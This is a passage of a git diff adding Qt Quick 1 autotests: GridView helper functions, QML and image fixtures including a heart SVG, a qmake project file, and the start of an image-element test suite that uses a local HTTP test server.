+ for (int i = 24; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QVERIFY(item);
+ QVERIFY(item->x() == (i%3)*80);
+ QVERIFY(item->y() == (i/3)*60);
+ }
+
+ gridview->setContentY(-100);
+ itemCount = findItems<QDeclarativeItem>(contentItem, "wrapper").count();
+ QVERIFY(itemCount < 15);
+ // Confirm items positioned correctly
+ for (int i = 0; i < model.count() && i < itemCount; ++i) {
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(contentItem, "wrapper", i);
+ if (!item) qWarning() << "Item" << i << "not found";
+ QVERIFY(item);
+ QVERIFY(item->x() == (i%3)*80);
+ QVERIFY(item->y() == (i/3)*60);
+ }
+
+ delete canvas;
+}
+
+QDeclarativeView *tst_QDeclarativeGridView::createView()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ return canvas;
+}
+
+/*
+ Find an item with the specified objectName. If index is supplied then the
+ item must also evaluate the {index} expression equal to index
+*/
+template<typename T>
+T *tst_QDeclarativeGridView::findItem(QGraphicsObject *parent, const QString &objectName, int index)
+{
+ const QMetaObject &mo = T::staticMetaObject;
+ //qDebug() << parent->childItems().count() << "children";
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if(!item)
+ continue;
+ //qDebug() << "try" << item;
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) {
+ if (index != -1) {
+ QDeclarativeContext *context = QDeclarativeEngine::contextForObject(item);
+ if (context) {
+ if (context->contextProperty("index").toInt() == index) {
+ return static_cast<T*>(item);
+ }
+ }
+ } else {
+ return static_cast<T*>(item);
+ }
+ }
+ item = findItem<T>(item, objectName, index);
+ if (item)
+ return static_cast<T*>(item);
+ }
+
+ return 0;
+}
+
+template<typename T>
+QList<T*> tst_QDeclarativeGridView::findItems(QGraphicsObject *parent, const QString &objectName)
+{
+ QList<T*> items;
+ const QMetaObject &mo = T::staticMetaObject;
+ //qDebug() << parent->childItems().count() << "children";
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if(!item)
+ continue;
+ //qDebug() << "try" << item;
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) {
+ items.append(static_cast<T*>(item));
+ //qDebug() << " found:" << item;
+ }
+ items += findItems<T>(item, objectName);
+ }
+
+ return items;
+}
+
+void tst_QDeclarativeGridView::dumpTree(QDeclarativeItem *parent, int depth)
+{
+ static QString padding(" ");
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if(!item)
+ continue;
+ QDeclarativeContext *context = QDeclarativeEngine::contextForObject(item);
+ qDebug() << padding.left(depth*2) << item << (context ? context->contextProperty("index").toInt() : -1);
+ dumpTree(item, depth+1);
+ }
+}
+
+
+QTEST_MAIN(tst_QDeclarativeGridView)
+
+#include "tst_qdeclarativegridview.moc"
diff --git a/tests/auto/declarative/qdeclarativeimage/data/aspectratio.qml b/tests/auto/declarative/qdeclarativeimage/data/aspectratio.qml
new file mode 100644
index 00000000..cd092bc7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/aspectratio.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+Image {
+ property int widthChange: 0
+ property int heightChange: 0
+ source: "heart.png"
+ fillMode: Image.PreserveAspectFit;
+ onWidthChanged: widthChange += 1
+ onHeightChanged: heightChange += 1
+}
diff --git a/tests/auto/declarative/qdeclarativeimage/data/big.jpeg b/tests/auto/declarative/qdeclarativeimage/data/big.jpeg
new file mode 100644
index 00000000..bed7bd65
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/big.jpeg
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeimage/data/big256.png b/tests/auto/declarative/qdeclarativeimage/data/big256.png
new file mode 100644
index 00000000..1dc1596d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/big256.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeimage/data/colors.png b/tests/auto/declarative/qdeclarativeimage/data/colors.png
new file mode 100644
index 00000000..dfb62f3d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/colors.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeimage/data/colors1.png b/tests/auto/declarative/qdeclarativeimage/data/colors1.png
new file mode 100644
index 00000000..dfb62f3d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/colors1.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeimage/data/green.png b/tests/auto/declarative/qdeclarativeimage/data/green.png
new file mode 100644
index 00000000..0a2e153b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/green.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeimage/data/heart-win32.png b/tests/auto/declarative/qdeclarativeimage/data/heart-win32.png
new file mode 100644
index 00000000..351da137
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/heart-win32.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeimage/data/heart.png b/tests/auto/declarative/qdeclarativeimage/data/heart.png
new file mode 100644
index 00000000..abe97fee
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/heart.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeimage/data/heart.svg b/tests/auto/declarative/qdeclarativeimage/data/heart.svg
new file mode 100644
index 00000000..8c982cd9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/heart.svg
@@ -0,0 +1,55 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) --><svg viewBox="100 200 550 500" height="841.88976pt" id="svg1" inkscape:version="0.40+cvs" sodipodi:docbase="C:\Documents and Settings\Jon Phillips\My Documents\projects\clipart-project\submissions" sodipodi:docname="heart-left-highlight.svg" sodipodi:version="0.32" width="595.27559pt" xmlns="http://www.w3.org/2000/svg" xmlns:cc="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:sodipodi="http://inkscape.sourceforge.net/DTD/sodipodi-0.dtd" xmlns:svg="http://www.w3.org/2000/svg">
+<metadata>
+<rdf:RDF xmlns:cc="http://web.resource.org/cc/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
+<cc:Work rdf:about="">
+<dc:title>Heart Left-Highlight</dc:title>
+<dc:description>This is a normal valentines day heart.</dc:description>
+<dc:subject>
+<rdf:Bag>
+<rdf:li>holiday</rdf:li>
+<rdf:li>valentines</rdf:li>
+<rdf:li></rdf:li>
+<rdf:li>valentine</rdf:li>
+<rdf:li>hash(0x8a091c0)</rdf:li>
+<rdf:li>hash(0x8a0916c)</rdf:li>
+<rdf:li>signs_and_symbols</rdf:li>
+<rdf:li>hash(0x8a091f0)</rdf:li>
+<rdf:li>day</rdf:li>
+</rdf:Bag>
+</dc:subject>
+<dc:publisher>
+<cc:Agent rdf:about="http://www.openclipart.org">
+<dc:title>Jon Phillips</dc:title>
+</cc:Agent>
+</dc:publisher>
+<dc:creator>
+<cc:Agent>
+<dc:title>Jon Phillips</dc:title>
+</cc:Agent>
+</dc:creator>
+<dc:rights>
+<cc:Agent>
+<dc:title>Jon Phillips</dc:title>
+</cc:Agent>
+</dc:rights>
+<dc:date></dc:date>
+<dc:format>image/svg+xml</dc:format>
+<dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>
+<cc:license rdf:resource="http://web.resource.org/cc/PublicDomain"/>
+<dc:language>en</dc:language>
+</cc:Work>
+<cc:License rdf:about="http://web.resource.org/cc/PublicDomain">
+<cc:permits rdf:resource="http://web.resource.org/cc/Reproduction"/>
+<cc:permits rdf:resource="http://web.resource.org/cc/Distribution"/>
+<cc:permits rdf:resource="http://web.resource.org/cc/DerivativeWorks"/>
+</cc:License>
+</rdf:RDF>
+</metadata>
+<defs id="defs3"/>
+<sodipodi:namedview bordercolor="#666666" borderopacity="1.0" id="base" inkscape:current-layer="layer1" inkscape:cx="549.40674" inkscape:cy="596.00159" inkscape:document-units="px" inkscape:guide-bbox="true" inkscape:pageopacity="0.0" inkscape:pageshadow="2" inkscape:window-height="615" inkscape:window-width="866" inkscape:window-x="88" inkscape:window-y="116" inkscape:zoom="0.35000000" pagecolor="#ffffff" showguides="true"/>
+<g id="layer1" inkscape:groupmode="layer" inkscape:label="Layer 1">
+<path d="M 263.41570,235.14588 C 197.17570,235.14588 143.41575,288.90587 143.41575,355.14588 C 143.41575,489.90139 279.34890,525.23318 371.97820,658.45392 C 459.55244,526.05056 600.54070,485.59932 600.54070,355.14588 C 600.54070,288.90588 546.78080,235.14587 480.54070,235.14588 C 432.49280,235.14588 391.13910,263.51631 371.97820,304.33338 C 352.81740,263.51630 311.46370,235.14587 263.41570,235.14588 z " id="path7" sodipodi:nodetypes="ccccccc" style="fill:#e60000;fill-opacity:1.0000000;stroke:#000000;stroke-width:18.700001;stroke-miterlimit:4.0000000;stroke-opacity:1.0000000"/>
+<path d="M 265.00000,253.59375 C 207.04033,253.59375 160.00000,300.63407 160.00000,358.59375 C 160.00000,476.50415 278.91857,507.43251 359.96875,624.00000 C 366.52868,614.08205 220.00000,478.47309 220.00000,378.59375 C 220.00000,320.63407 267.04033,273.59375 325.00000,273.59375 C 325.50453,273.59375 325.99718,273.64912 326.50000,273.65625 C 309.22436,261.07286 288.00557,253.59374 265.00000,253.59375 z " id="path220" sodipodi:nodetypes="ccccccc" style="fill:#e6e6e6;fill-opacity:0.64556962;stroke:none;stroke-width:18.700001;stroke-miterlimit:4.0000000;stroke-opacity:1.0000000"/>
+</g>
+</svg>
diff --git a/tests/auto/declarative/qdeclarativeimage/data/heart200-win32.png b/tests/auto/declarative/qdeclarativeimage/data/heart200-win32.png
new file mode 100644
index 00000000..4976ff98
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/heart200-win32.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeimage/data/heart200.png b/tests/auto/declarative/qdeclarativeimage/data/heart200.png
new file mode 100644
index 00000000..7fbb13c5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/heart200.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeimage/data/qtbug_16389.qml b/tests/auto/declarative/qdeclarativeimage/data/qtbug_16389.qml
new file mode 100644
index 00000000..29fba400
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/qtbug_16389.qml
@@ -0,0 +1,30 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+
+ Item {
+ anchors.top: parent.top
+ anchors.left: parent.left
+ anchors.bottom: blueHandle.top
+ anchors.right: blueHandle.left
+
+ Image {
+ id: iconImage
+ objectName: "iconImage"
+ anchors.top: parent.top
+ anchors.bottom: parent.bottom
+ source: "heart200.png"
+ fillMode: Image.PreserveAspectFit
+ smooth: true
+ }
+ }
+
+ Rectangle {
+ id: blueHandle
+ objectName: "blueHandle"
+ color: "blue"
+ width: 25
+ height: 25
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeimage/data/qtbug_22125.qml b/tests/auto/declarative/qdeclarativeimage/data/qtbug_22125.qml
new file mode 100644
index 00000000..85880282
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/qtbug_22125.qml
@@ -0,0 +1,44 @@
+import QtQuick 1.1
+
+Item {
+ id: root
+ width: 800
+ height: 800
+
+ GridView {
+ anchors.fill: parent
+ delegate: Image {
+ source: imagePath;
+ asynchronous: true
+ smooth: true
+ width: 200
+ height: 200
+ }
+ model: ListModel {
+ ListElement {
+ imagePath: "http://127.0.0.1:14451/big256.png"
+ }
+ ListElement {
+ imagePath: "http://127.0.0.1:14451/big256.png"
+ }
+ ListElement {
+ imagePath: "http://127.0.0.1:14451/big256.png"
+ }
+ ListElement {
+ imagePath: "http://127.0.0.1:14451/colors.png"
+ }
+ ListElement {
+ imagePath: "http://127.0.0.1:14451/colors1.png"
+ }
+ ListElement {
+ imagePath: "http://127.0.0.1:14451/big.jpeg"
+ }
+ ListElement {
+ imagePath: "http://127.0.0.1:14451/heart.png"
+ }
+ ListElement {
+ imagePath: "http://127.0.0.1:14451/green.png"
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativeimage/data/rect.png b/tests/auto/declarative/qdeclarativeimage/data/rect.png
new file mode 100644
index 00000000..d564a2d5
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/rect.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativeimage/data/tiling.qml b/tests/auto/declarative/qdeclarativeimage/data/tiling.qml
new file mode 100644
index 00000000..49715ab3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/data/tiling.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 800; height: 600
+
+ Image {
+ objectName: "vTiling"; height: 550; width: 200
+ source: "green.png"; fillMode: Image.TileVertically
+ }
+
+ Image {
+ objectName: "hTiling"; x: 225; height: 250; width: 550
+ source: "green.png"; fillMode: Image.TileHorizontally
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativeimage/qdeclarativeimage.pro b/tests/auto/declarative/qdeclarativeimage/qdeclarativeimage.pro
new file mode 100644
index 00000000..5bf8095f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/qdeclarativeimage.pro
@@ -0,0 +1,18 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui network
+macx:CONFIG -= app_bundle
+
+HEADERS += ../shared/testhttpserver.h
+SOURCES += tst_qdeclarativeimage.cpp ../shared/testhttpserver.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
+CONFIG+=insignificant_test # QTQAINFRA-428
diff --git a/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
new file mode 100644
index 00000000..48e81510
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp
@@ -0,0 +1,839 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QTextDocument>
+#include <QTcpServer>
+#include <QTcpSocket>
+#include <QDir>
+
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <private/qdeclarativeimage_p.h>
+#include <private/qdeclarativeimagebase_p.h>
+#include <private/qdeclarativeloader_p.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativeexpression.h>
+#include <QtTest/QSignalSpy>
+
+#include "../../../shared/util.h"
+#include "../shared/testhttpserver.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+#define SERVER_PORT 14451
+#define SERVER_ADDR "http://127.0.0.1:14451"
+
+class tst_qdeclarativeimage : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeimage();
+
+private slots:
+ void noSource();
+ void imageSource();
+ void imageSource_data();
+ void clearSource();
+ void resized();
+ void preserveAspectRatio();
+ void smooth();
+ void mirror();
+ void mirror_data();
+ void svg();
+ void geometry();
+ void geometry_data();
+ void big();
+ void tiling_QTBUG_6716();
+ void noLoading();
+ void paintedWidthHeight();
+ void sourceSize_QTBUG_14303();
+ void sourceSize_QTBUG_16389();
+ void nullPixmapPaint();
+ void resetSourceSize();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+ void readerCrash_QTBUG_22125();
+
+private:
+ template<typename T>
+ T *findItem(QGraphicsObject *parent, const QString &id, int index=-1);
+
+ QDeclarativeEngine engine;
+};
+
+tst_qdeclarativeimage::tst_qdeclarativeimage()
+{
+}
+
+void tst_qdeclarativeimage::noSource()
+{
+ QString componentStr = "import QtQuick 1.0\nImage { source: \"\" }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->source(), QUrl());
+ QVERIFY(obj->status() == QDeclarativeImage::Null);
+ QCOMPARE(obj->width(), 0.);
+ QCOMPARE(obj->height(), 0.);
+ QCOMPARE(obj->fillMode(), QDeclarativeImage::Stretch);
+ QCOMPARE(obj->progress(), 0.0);
+
+ delete obj;
+}
+
+void tst_qdeclarativeimage::imageSource_data()
+{
+ QTest::addColumn<QString>("source");
+ QTest::addColumn<double>("width");
+ QTest::addColumn<double>("height");
+ QTest::addColumn<bool>("remote");
+ QTest::addColumn<bool>("async");
+ QTest::addColumn<bool>("cache");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << true << "";
+ QTest::newRow("local no cache") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << false << "";
+ QTest::newRow("local async") << QUrl::fromLocalFile(SRCDIR "/data/colors1.png").toString() << 120.0 << 120.0 << false << true << true << "";
+ QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString() << 0.0 << 0.0 << false
+ << false << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString();
+ QTest::newRow("local async not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString() << 0.0 << 0.0 << false
+ << true << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString();
+ QTest::newRow("remote") << SERVER_ADDR "/colors.png" << 120.0 << 120.0 << true << false << true << "";
+ QTest::newRow("remote redirected") << SERVER_ADDR "/oldcolors.png" << 120.0 << 120.0 << true << false << false << "";
+ QTest::newRow("remote svg") << SERVER_ADDR "/heart.svg" << 550.0 << 500.0 << true << false << false << "";
+ QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.png" << 0.0 << 0.0 << true
+ << false << true << "file::2:1: QML Image: Error downloading " SERVER_ADDR "/no-such-file.png - server replied: Not found";
+
+}
+
+void tst_qdeclarativeimage::imageSource()
+{
+ QFETCH(QString, source);
+ QFETCH(double, width);
+ QFETCH(double, height);
+ QFETCH(bool, remote);
+ QFETCH(bool, async);
+ QFETCH(bool, cache);
+ QFETCH(QString, error);
+
+ TestHTTPServer server(SERVER_PORT);
+ if (remote) {
+ QVERIFY(server.isValid());
+ server.serveDirectory(SRCDIR "/data");
+ server.addRedirect("oldcolors.png", SERVER_ADDR "/colors.png");
+ }
+
+ if (!error.isEmpty())
+ QTest::ignoreMessage(QtWarningMsg, error.toUtf8());
+
+ QString componentStr = "import QtQuick 1.1\nImage { source: \"" + source + "\"; asynchronous: "
+ + (async ? QLatin1String("true") : QLatin1String("false")) + "; cache: "
+ + (cache ? QLatin1String("true") : QLatin1String("false")) + " }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+
+ if (async)
+ QVERIFY(obj->asynchronous() == true);
+ else
+ QVERIFY(obj->asynchronous() == false);
+
+ if (cache)
+ QVERIFY(obj->cache() == true);
+ else
+ QVERIFY(obj->cache() == false);
+
+ if (remote || async)
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Loading);
+
+ QCOMPARE(obj->source(), remote ? source : QUrl(source));
+
+ if (error.isEmpty()) {
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Ready);
+ QCOMPARE(obj->width(), qreal(width));
+ QCOMPARE(obj->height(), qreal(height));
+ QCOMPARE(obj->fillMode(), QDeclarativeImage::Stretch);
+ QCOMPARE(obj->progress(), 1.0);
+ } else {
+ QTRY_VERIFY(obj->status() == QDeclarativeImage::Error);
+ }
+
+ delete obj;
+}
+
+void tst_qdeclarativeimage::clearSource()
+{
+ QString componentStr = "import QtQuick 1.0\nImage { source: srcImage }";
+ QDeclarativeContext *ctxt = engine.rootContext();
+ ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/colors.png"));
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+ QVERIFY(obj->status() == QDeclarativeImage::Ready);
+ QCOMPARE(obj->width(), 120.);
+ QCOMPARE(obj->height(), 120.);
+ QCOMPARE(obj->progress(), 1.0);
+
+ ctxt->setContextProperty("srcImage", "");
+ QVERIFY(obj->source().isEmpty());
+ QVERIFY(obj->status() == QDeclarativeImage::Null);
+ QCOMPARE(obj->width(), 0.);
+ QCOMPARE(obj->height(), 0.);
+ QCOMPARE(obj->progress(), 0.0);
+}
+
+void tst_qdeclarativeimage::resized()
+{
+ QString componentStr = "import QtQuick 1.0\nImage { source: \"" SRCDIR "/data/colors.png\"; width: 300; height: 300 }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->width(), 300.);
+ QCOMPARE(obj->height(), 300.);
+ QCOMPARE(obj->fillMode(), QDeclarativeImage::Stretch);
+ delete obj;
+}
+
+
+void tst_qdeclarativeimage::preserveAspectRatio()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->show();
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/aspectratio.qml"));
+ QDeclarativeImage *image = qobject_cast<QDeclarativeImage*>(canvas->rootObject());
+ QVERIFY(image != 0);
+ QCOMPARE(image->property("widthChange").toInt(), 1);
+ QCOMPARE(image->property("heightChange").toInt(), 1);
+ image->setWidth(80.0);
+ QCOMPARE(image->property("widthChange").toInt(), 2);
+ QCOMPARE(image->property("heightChange").toInt(), 2);
+ QCOMPARE(image->width(), 80.);
+ QCOMPARE(image->height(), 80.);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/aspectratio.qml"));
+ image = qobject_cast<QDeclarativeImage*>(canvas->rootObject());
+ QVERIFY(image != 0);
+ QCOMPARE(image->property("widthChange").toInt(), 1);
+ QCOMPARE(image->property("heightChange").toInt(), 1);
+ image->setHeight(60.0);
+ QCOMPARE(image->property("widthChange").toInt(), 2);
+ QCOMPARE(image->property("heightChange").toInt(), 2);
+ QCOMPARE(image->height(), 60.);
+ QCOMPARE(image->width(), 60.);
+ delete canvas;
+}
+
+void tst_qdeclarativeimage::smooth()
+{
+ QString componentStr = "import QtQuick 1.0\nImage { source: \"" SRCDIR "/data/colors.png\"; smooth: true; width: 300; height: 300 }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->width(), 300.);
+ QCOMPARE(obj->height(), 300.);
+ QCOMPARE(obj->smooth(), true);
+ QCOMPARE(obj->fillMode(), QDeclarativeImage::Stretch);
+
+ delete obj;
+}
+
+void tst_qdeclarativeimage::mirror()
+{
+ QFETCH(int, fillMode);
+
+ qreal width = 300;
+ qreal height = 250;
+
+ QString src = QUrl::fromLocalFile(SRCDIR "/data/heart200.png").toString();
+ QString componentStr = "import QtQuick 1.1\nImage { source: \"" + src + "\"; }";
+
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+
+ obj->setProperty("width", width);
+ obj->setProperty("height", height);
+ obj->setFillMode((QDeclarativeImage::FillMode)fillMode);
+ obj->setProperty("mirror", true);
+
+ QGraphicsScene scene;
+ scene.addItem(qobject_cast<QGraphicsObject *>(obj));
+ QPixmap screenshot(width, height);
+ screenshot.fill();
+ QPainter p_screenshot(&screenshot);
+ scene.render(&p_screenshot, QRect(0, 0, width, height), QRect(0, 0, width, height));
+
+ QPixmap srcPixmap;
+ QVERIFY(srcPixmap.load(SRCDIR "/data/heart200.png"));
+
+ QPixmap expected(width, height);
+ expected.fill();
+ QPainter p_e(&expected);
+ QTransform transform;
+ transform.translate(width, 0).scale(-1, 1.0);
+ p_e.setTransform(transform);
+
+ switch (fillMode) {
+ case QDeclarativeImage::Stretch:
+ p_e.drawPixmap(QRect(0, 0, width, height), srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height()));
+ break;
+ case QDeclarativeImage::PreserveAspectFit:
+ p_e.drawPixmap(QRect(25, 0, width / (width/height), height), srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height()));
+ break;
+ case QDeclarativeImage::PreserveAspectCrop:
+ {
+ qreal ratio = width/srcPixmap.width(); // width is the longer side
+ QRect rect(0, 0, srcPixmap.width()*ratio, srcPixmap.height()*ratio);
+ rect.moveCenter(QRect(0, 0, width, height).center());
+ p_e.drawPixmap(rect, srcPixmap, QRect(0, 0, srcPixmap.width(), srcPixmap.height()));
+ break;
+ }
+ case QDeclarativeImage::Tile:
+ p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap);
+ break;
+ case QDeclarativeImage::TileVertically:
+ transform.scale(width / srcPixmap.width(), 1.0);
+ p_e.setTransform(transform);
+ p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap);
+ break;
+ case QDeclarativeImage::TileHorizontally:
+ transform.scale(1.0, height / srcPixmap.height());
+ p_e.setTransform(transform);
+ p_e.drawTiledPixmap(QRect(0, 0, width, height), srcPixmap);
+ break;
+ }
+
+ QCOMPARE(screenshot, expected);
+
+ delete obj;
+}
+
+void tst_qdeclarativeimage::mirror_data()
+{
+ QTest::addColumn<int>("fillMode");
+
+ QTest::newRow("Stretch") << int(QDeclarativeImage::Stretch);
+ QTest::newRow("PreserveAspectFit") << int(QDeclarativeImage::PreserveAspectFit);
+ QTest::newRow("PreserveAspectCrop") << int(QDeclarativeImage::PreserveAspectCrop);
+ QTest::newRow("Tile") << int(QDeclarativeImage::Tile);
+ QTest::newRow("TileVertically") << int(QDeclarativeImage::TileVertically);
+ QTest::newRow("TileHorizontally") << int(QDeclarativeImage::TileHorizontally);
+}
+
+void tst_qdeclarativeimage::svg()
+{
+ QString src = QUrl::fromLocalFile(SRCDIR "/data/heart.svg").toString();
+ QString componentStr = "import QtQuick 1.0\nImage { source: \"" + src + "\"; sourceSize.width: 300; sourceSize.height: 300 }";
+ QDeclarativeComponent component(&engine);
+ component.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativeImage *obj = qobject_cast<QDeclarativeImage*>(component.create());
+ QVERIFY(obj != 0);
+ QCOMPARE(obj->pixmap().width(), 300);
+ QCOMPARE(obj->pixmap().height(), 300);
+ QCOMPARE(obj->width(), 300.0);
+ QCOMPARE(obj->height(), 300.0);
+#if defined(Q_OS_LINUX)
+ QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart.png"));
+#elif defined(Q_OS_WIN32)
+ QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart-win32.png"));
+#endif
+
+ obj->setSourceSize(QSize(200,200));
+
+ QCOMPARE(obj->pixmap().width(), 200);
+ QCOMPARE(obj->pixmap().height(), 200);
+ QCOMPARE(obj->width(), 200.0);
+ QCOMPARE(obj->height(), 200.0);
+#if defined(Q_OS_LINUX)
+ QCOMPARE(obj->pixmap(), QPixmap(SRCDIR "/data/heart200.png"));
+#elif defined(Q_OS_WIN32)
